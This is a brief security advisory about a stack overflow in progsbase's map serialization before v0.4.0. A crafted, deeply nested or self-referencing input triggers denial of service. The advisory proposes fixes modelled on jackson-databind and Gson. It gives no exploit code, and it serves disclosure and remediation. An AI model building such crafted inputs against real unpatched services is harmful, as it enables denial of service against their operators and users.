Stack overflow error caused by progsbase serialization Map

Stack overflow error caused by progsbase serialization Map

Description

progsbase before v0.4.0 was discovered to contain a stack overflow via the map parameter. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted string.

Rectification Solution

1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (FasterXML/jackson-databind@fcfc499)

2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.(（google/gson@2d01d6a20f39881c692977564c1ea591d9f39027）)

1. If the value in map is the map's self, the new new JSONObject(map) cause StackOverflowError which may lead to dos jettison-json/jettison#52
